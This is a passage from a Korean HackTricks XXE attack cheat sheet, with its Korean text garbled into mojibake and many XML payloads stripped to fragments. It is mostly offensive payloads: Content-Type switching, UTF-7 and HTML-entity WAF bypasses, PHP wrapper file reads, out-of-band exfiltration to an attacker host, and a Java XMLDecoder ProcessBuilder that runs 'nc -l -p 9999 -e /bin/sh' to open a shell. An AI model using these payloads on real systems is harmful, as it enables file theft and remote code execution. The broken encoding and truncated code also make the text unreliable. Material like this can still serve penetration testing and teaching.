μ©ν μ μμ΅λλ€. μλ₯Ό λ€μ΄, μΌλ° μμ²μ΄ λ€μμ ν¬ν¨νλ κ²½μ°:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
κ·ΈλΌ λ€μ μμ²μ μ μΆν μ μμ κ²μ
λλ€. κ°μ κ²°κ³Όλ₯Ό μ»μ μ μμ΅λλ€:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
bar
```
### Content-Type: From JSON to XEE
μμ²μ λ³κ²½νλ €λ©΄ β**Content Type Converter**βλΌλ Burp νμ₯μ μ¬μ©ν μ μμ΅λλ€. [μ¬κΈ°](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)μμ μ΄ μμ λ₯Ό μ°Ύμ μ μμ΅λλ€:
```xml
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
```xml
Content-Type: application/xml;charset=UTF-8
]>
&xxe;
United States
ddd
ddd
```
λ λ€λ₯Έ μλ [μ¬κΈ°](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)μμ μ°Ύμ μ μμ΅λλ€.
## WAF λ° λ³΄νΈ μ°ν
### Base64
```xml
%init; ]>
```
μ΄κ²μ XML μλ²κ° `data://` νλ‘ν μ½μ μμ©ν λλ§ μλν©λλ€.
### UTF-7
μ¬κΈ°μ \[**"Encode Recipe**" of cyberchefλ₯Ό μ¬μ©νμ¬]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7λ‘ λ³νν©λλ€.
```xml
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
```xml
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### File:/ Protocol Bypass
μΉμ΄ PHPλ₯Ό μ¬μ©νκ³ μλ€λ©΄, `file:/` λμ **php wrappers**`php://filter/convert.base64-encode/resource=`λ₯Ό μ¬μ©νμ¬ **λ΄λΆ νμΌ**μ μ κ·Όν μ μμ΅λλ€.
μΉμ΄ Javaλ₯Ό μ¬μ©νκ³ μλ€λ©΄ [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol)μ νμΈν μ μμ΅λλ€.
### HTML Entities
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)μμμ νΈλ¦\
**html entities**λ‘ μΈμ½λ©λ **μν°ν° μμ μν°ν°**λ₯Ό μμ±ν λ€μ, μ΄λ₯Ό νΈμΆνμ¬ **dtd**λ₯Ό **λ‘λ**ν μ μμ΅λλ€.\
μ¬μ©λλ **HTML Entities**λ **μ«μ**μ¬μΌ ν©λλ€ (μλ₯Ό λ€μ΄ \[μ΄ μμ μμ\]([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
%a;%dtd;]>
&exfil;
```
DTD μμ :
```xml
">
%abt;
%exfil;
```
## PHP Wrappers
### Base64
**μΆμΆ** _**index.php**_
```xml
]>
```
#### **μΈλΆ 리μμ€ μΆμΆ**
```xml
]>
```
### μ격 μ½λ μ€ν
**PHP "expect" λͺ¨λμ΄ λ‘λλ κ²½μ°**
```xml
]>
&xxe;
mypass
```
## **SOAP - XEE**
```xml
%dtd;]>]]>
```
## XLIFF - XXE
μ΄ μμλ [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)μμ μκ°μ λ°μμ΅λλ€.
XLIFF (XML Localization Interchange File Format)λ νμ§ν νλ‘μΈμ€μμ λ°μ΄ν° κ΅νμ νμ€ννλ λ° μ¬μ©λ©λλ€. μ΄λ μ£Όλ‘ νμ§ν μ€ λꡬ κ°μ μ§μν κ°λ₯ν λ°μ΄ν°λ₯Ό μ μ‘νκ³ CAT (Computer-Aided Translation) λꡬλ₯Ό μν κ³΅ν΅ κ΅ν νμμΌλ‘ μ¬μ©λλ XML κΈ°λ° νμμ
λλ€.
### Blind Request Analysis
λ€μ λ΄μ©μ ν¬ν¨νμ¬ μλ²μ μμ²μ΄ μ μ‘λ©λλ€:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
%remote; ]>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
κ·Έλ¬λ μ΄ μμ²μ λ΄λΆ μλ² μ€λ₯λ₯Ό λ°μμν€λ©°, νΉν λ§ν¬μ
μ μΈκ³Ό κ΄λ ¨λ λ¬Έμ λ₯Ό μΈκΈν©λλ€:
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
λ²ν μ½λΌλ³΄λ μ΄ν°μμ μ€λ₯μλ λΆκ΅¬νκ³ ννΈκ° κΈ°λ‘λμ΄ μΈλΆ μν°ν°μμ μνΈμμ©μ΄ μ΄λ μ λ μμμ λνλ
λλ€.
Out of Band Data Exfiltration λ°μ΄ν°λ₯Ό μ μΆνκΈ° μν΄ μμ λ μμ²μ΄ μ μ‘λ©λλ€:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
%remote; ]>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
μ΄ μ κ·Ό λ°©μμ User Agentκ° Java 1.8μ μ¬μ©μ λνλΈλ€λ κ²μ 보μ¬μ€λλ€. μ΄ λ²μ μ Javaμ μ£Όλͺ©ν λ§ν μ ν μ¬νμ Out of Band κΈ°μ μ μ¬μ©νμ¬ /etc/passwdμ κ°μ μ€ λ°κΏ λ¬Έμκ° ν¬ν¨λ νμΌμ κ²μν μ μλ€λ κ²μ
λλ€.
Error-Based Data Exfiltration μ΄ μ νμ 극볡νκΈ° μν΄ Error-Based μ κ·Ό λ°©μμ΄ μ¬μ©λ©λλ€. DTD νμΌμ λ€μκ³Ό κ°μ΄ ꡬ쑰νλμ΄ λμ νμΌμ λ°μ΄ν°λ₯Ό ν¬ν¨νλ μ€λ₯λ₯Ό μ λ°ν©λλ€:
```xml
">
%foo;
%xxe;
```
μλ²λ μ€λ₯λ‘ μλ΅νλ©°, μ€μνκ²λ μ‘΄μ¬νμ§ μλ νμΌμ λ°μνκ³ , μλ²κ° μ§μ λ νμΌμ μ κ·Όνλ €κ³ μλνκ³ μμμ λνλ
λλ€:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
νμΌμ λ΄μ©μ μ€λ₯ λ©μμ§μ ν¬ν¨μν€κΈ° μν΄ DTD νμΌμ΄ μ‘°μ λ©λλ€:
```xml
">
%foo;
%xxe;
```
μ΄ μμ μ HTTPλ₯Ό ν΅ν΄ μ μ‘λ μ€λ₯ μΆλ ₯μ λ°μλλ―λ‘ νμΌ λ΄μ©μ μ±κ³΅μ μΈ μ μΆλ‘ μ΄μ΄μ§λλ€. μ΄λ λ―Όκ°ν μ 보λ₯Ό μΆμΆνκΈ° μν΄ Out of Band λ° Error-Based κΈ°μ μ λͺ¨λ νμ©ν μ±κ³΅μ μΈ XXE (XML External Entity) 곡격μ λνλ
λλ€.
## RSS - XEE
XXE μ·¨μ½μ μ μ
μ©νκΈ° μν RSS νμμ μ ν¨ν XML.
### Ping back
곡격μμ μλ²λ‘μ κ°λ¨ν HTTP μμ²
```xml
/rssXXE" >]>
XXE Test Blog
http://example.com/
XXE Test Blog
Mon, 02 Feb 2015 00:00:00 -0000
-
&xxe;
http://example.com
Test Post
author@example.com
Mon, 02 Feb 2015 00:00:00 -0000
```
### νμΌ μ½κΈ°
```xml
]>
The Blog
http://example.com/
A blog about things
Mon, 03 Feb 2014 00:00:00 -0000
-
&xxe;
http://example.com
a post
author@example.com
Mon, 03 Feb 2014 00:00:00 -0000
```
### μμ€ μ½λ μ½κΈ°
PHP base64 νν° μ¬μ©
```xml
]>
The Blog
http://example.com/
A blog about things
Mon, 03 Feb 2014 00:00:00 -0000
-
&xxe;
http://example.com
a post
author@example.com
Mon, 03 Feb 2014 00:00:00 -0000
```
## Java XMLDecoder XEE to RCE
XMLDecoderλ XML λ©μμ§λ₯Ό κΈ°λ°μΌλ‘ κ°μ²΄λ₯Ό μμ±νλ Java ν΄λμ€μ
λλ€. μ
μμ μΈ μ¬μ©μκ° **readObject** λ©μλ νΈμΆμ μμμ λ°μ΄ν°λ₯Ό μ¬μ©νλλ‘ μ ν리μΌμ΄μ
μ μ λν μ μλ€λ©΄, κ·Έλ μ¦μ μλ²μμ μ½λ μ€ν κΆνμ μ»κ² λ©λλ€.
### Using Runtime().exec()
```xml
```
### ProcessBuilder
```xml
/usr/bin/nc
-l
-p
9999
-e
/bin/sh
```
## λꡬ
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
## μ°Έκ³ μλ£
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* HTTPλ₯Ό ν΅ν΄ μ체 μΈλΆ DTDλ₯Ό μ¬μ©νμ¬ μ 보 μΆμΆ: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop) νμΈνκΈ°!
* **π¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ μ°Έμ¬νκ±°λ **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νμ 곡μ νμΈμ.**
{% endhint %}